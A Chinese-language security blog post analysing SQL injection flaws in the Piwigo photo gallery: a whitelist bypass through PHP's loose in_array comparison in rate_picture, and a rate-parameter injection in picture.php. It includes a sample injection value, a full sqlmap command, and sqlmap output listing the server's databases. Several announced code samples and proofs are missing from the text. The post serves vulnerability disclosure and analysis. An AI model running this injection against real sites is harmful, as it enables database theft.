漏洞公布的时候，piwigo已经更新到了2.7.1。

但是，这个漏洞公布的时候确实是一个货真价实的0day，影响piwigo全版本。

漏洞证明：

下面是当时在官方网站测试的记录：

跟piwigo作者沟通了解到他们知道这个漏洞并且认为已经修复了。

给他们提供了更多的细节和证明之后，piwigo很快发布了新版本。

漏洞分析

漏洞的分析看起来比较简单，是由于functions_rate.inc.php文件中的rate_picture函数没有对传入的$rate变量进行过滤，直接拼接到SQL中执行：代码如下

为什么这么简单的一个问题，piwigo没有发现，认为这个漏洞已经修复了呢。关键在与rate_picture函数开头其实是有个对$rate变量的过滤的。如下

判断$rate是否是$conf['rate_items']的项。而后面这个数组的值是配置文件里写死的。

看起来这句的功能是设置了一个rate变量的白名单。只能是0,1,2,3,4,5其中之一。这样子应该很安全才对。

当然事实证明这样子写是不安全的。

当$rate = "5'aaaaaaaaaaaaaaaaa "时，in_array($rate, $conf['rate_items']) 这个判断是返回True的。

这是php里不同类型变量比较时候的一个特性。关于php比较运算符的特性可以参考这里。

简言之：当字符串跟整型变量使用"=="比较的时候，会将字符串转换成整型，再进行比较。

经过测试发现，in_array方法在进行比较时候的逻辑跟"=="是一致。

所以，利用这个特性，相当于完全的bypass in_array的过滤。可以输入任意的数据拼接到SQL语句中，只要以数组中的数字开头就可以了。此外php中的switch也存在类似的特性。

漏洞修复

升级版本即可。官方在新版中，对$rate用正则又判断了一把。限制了只能是数字。话说国内的程序一般就intval一下了。

piwigo <= 2.6.0sql注入漏洞

前段时间免费开源相册Piwigopwigo出了一个piwigo <= 2.6.0sql注入漏洞。

漏洞成因,Piwigo相册系统的/piwigo/picture.php页面，没有完整的验证jQuery参数。攻击者成功利用该漏洞，可以获取数据库的全部信息，漏洞及其简单暴力。

漏洞影响范围，Piwigo <= v2.6.0。

/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)

Exploiting with SQLMap:

python sqlmap.py -u "http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate"; --data
"rate=1" --dbs

[16:32:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[16:32:25] [INFO] fetching database names
[16:32:25] [INFO] fetching number of databases
[16:32:25] [INFO] resumed: 4
[16:32:25] [INFO] resumed: information_schema
[16:32:25] [INFO] resumed: mysql
[16:32:25] [INFO] resumed: phpmyadmin
[16:32:25] [INFO] resumed: piwigo
available databases [4]:
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] piwigo

【本文来源：freebuf 作者 xd_xd SP小编整理发布】